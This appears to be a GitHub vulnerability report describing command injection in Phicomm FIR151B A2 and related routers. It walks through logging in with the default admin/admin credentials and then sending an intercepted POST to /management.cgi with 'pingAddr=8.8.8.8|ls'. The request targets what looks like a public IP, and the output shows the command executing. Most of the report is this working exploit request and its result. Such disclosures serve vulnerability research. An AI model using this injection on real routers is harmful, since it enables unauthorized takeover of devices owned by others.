

main ▾

...

## Phicomm\_Router / Tracert\_1.md



SLoSnow9879 Update Tracert\_1.md

[History](#)

1 contributor

16 lines (10 sloc) | 897 Bytes

...

The FIR151B A2、FIR302E A2、FIR300B A2 and so on routers has remote command execution

- 1.Login feixun FIR151B A2 router by default password admin /admin
- 2.Find the system tool → system diagnosis → Tracert → IP address / domain name. There is remote command execution at Tracert

PHICOMM

Language: Auto Identify ▾

Basic Advanced

FIR151B A2

- + Setup wizard
- + Network settings
- + Wireless settings
- + Health And Power Saving
- + Running status
- + System tools**
- System management
- Time management
- WEB management
- Modify login password
- System diagnostics

System diagnostics

You can use Ping or Tracer command to test connectivity between the router and other hosts.

Parameter settings

Selection:	<input type="radio"/> Ping <input checked="" type="radio"/> Tracert
IP address / domain name:	8.8.8.8
Number of Ping packages:	4 (1-50)
Ping packet size:	64 (64-1472)
Tracert hops:	20 (1-30)

Diagnostic results

- 3.Enter the website IP at the IP address / domain name, for example: 8.8.8.8

- 4.Click Start diagnosis

## 5. Use burpsuite intercept and change pingAddr argument to 8.8.8.8|ls, forward this request

```
1 POST /management.cgi HTTP/1.1
2 Host: 82.78.164.145:30005
3 Content-Length: 102
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://82.78.164.145:30005
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://82.78.164.145:30005/sysDiag.html?t=1658810125996
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Connection: close
14
15 action_mode=apply&next_page=sysDiag.html&current_page=sysDiag.html&doType=1&pingAddr=8.8.8.8|ls&trHops=20
```

## 6. Look at the diagnostic results. The command has been executed successfully

PHICOMM

Language: Auto identify

BasicAdvanced

FIR151B A2

Setup wizard

Network settings

Wireless settings

Health And Power Saving

Running status

System tools

System management

Time management

WEB management

Modify login password

System diagnostics

System log

Logout

System diagnostics

You can use Ping or Tracer command to test connectivity between the router and other hosts.

Parameter settings

Selection:

Ping

Tracer

IP address / domain name:

8.8.8.8|ls

Number of Ping packages:

4

(1-50)

Ping packet size:

64

(64-1472)

Tracer hops:

20

(1-30)

Diagnostic results

accessPolicy.html  
appArpBlind.html  
appDmz.html  
appPortFwd.html  
appUpnpCfg.html  
css  
ddnsCfg.html  
dhcpAssign.html  
dhcpCfg.html  
dhcpClient.html  
flowCtrl.html  
images  
index.html  
ipCtrl.html  
js  
lanCfg.html  
lang  
login.html  
logout.html  
macClone.html  
netStatus.html  
omode.html

Start

Cancel